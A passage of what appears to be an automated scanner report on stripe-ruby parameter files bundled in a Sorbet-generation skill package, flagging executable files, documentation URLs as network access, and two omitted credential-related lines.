    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 107
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 118
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 122
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 143
    # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated.
  • Network accessline 155
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 169
    # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_deliver_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_fail_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_return_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_ship_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_submit_card_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 20
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 28
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 107
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 118
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 122
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 147
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 155
    # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 19
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 71
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 96
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 98
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 143
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 154
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 158
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 193
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 197
    # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU cards. See the [3D Secure d
  • Network accessline 199
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 200
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 202
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 206
    # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 19
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 71
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 96
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 98
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 143
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 154
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 158
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 193
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 195
    # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details.
  • Network accessline 197
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 198
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 200
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 56
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 58
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 60
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 62
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 87
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 99
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 130
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 142
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 169
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 192
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 267
    # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount.
  • Network accessline 273
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_submit_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 56
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 58
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 60
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 62
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 87
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 99
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 130
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 142
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 169
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 192
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 258
    # The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 264
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_activate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 41
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_deactivate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_reject_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 41
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/physical_bundle_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/physical_bundle_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_create_force_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 202
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 286
    # The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 290
    # The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_create_unlinked_refund_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values.
  • Network accessline 202
    # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased.
  • Network accessline 286
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 290
    # The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_refund_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/mandate_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_attempt_record_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_attempt_record_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_amount_details_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_apply_customer_balance_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Amount that you intend to apply to this PaymentIntent from the customer’s cash balance. If the PaymentIntent was created by an Invoice, the full amount of the PaymentIntent is applied regardless of this parameter.     #     # A positive i
  • Network accessline 7
    #     # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maxi
  • Network accessline 8
    # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maximum am
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 82
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 91
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 107
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 134
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 149
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 158
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 180
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 232
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 236
    # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You can only use this setting when
  • Network accessline 240
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 244
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 246
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 248
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 250
    # The parameters that you can use to automatically create a transfer after the payment     # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 251
    # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_confirm_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 82
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 91
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 107
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 134
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 149
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 158
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 180
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 312
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 320
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 515
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 635
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 663
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 807
    [Credential-related source omitted]
  • Access to secretsline 808
    [Credential-related source omitted]
  • Network accessline 1246
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1248
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1258
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1260
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1262
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1264
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1266
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1340
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1342
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 1919
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 2525
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 2537
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2545
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2591
    # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. This parameter is intended for simpler integrations that do not handle customer actions, like [saving cards without authentication](https:/
  • Network accessline 2603
    # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay
  • Network accessline 2607
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 2608
    # If the payment method is attached to a Customer, it must match the [customer](https://api.stripe.com#create_payment_intent-customer) that is set on this PaymentIntent.
  • Network accessline 2610
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2611
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2616
    # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list o
  • Network accessline 2618
    # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 2620
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 82
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 91
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 107
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 134
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 149
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 158
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 178
    # Controls whether this PaymentIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s
  • Network accessline 180
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you 
  • Network accessline 194
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 326
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 334
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 529
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 649
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 677
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 821
    [Credential-related source omitted]
  • Access to secretsline 822
    [Credential-related source omitted]
  • Network accessline 1260
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1262
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1272
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1274
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1276
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1278
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1280
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1354
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1356
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 1933
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 2539
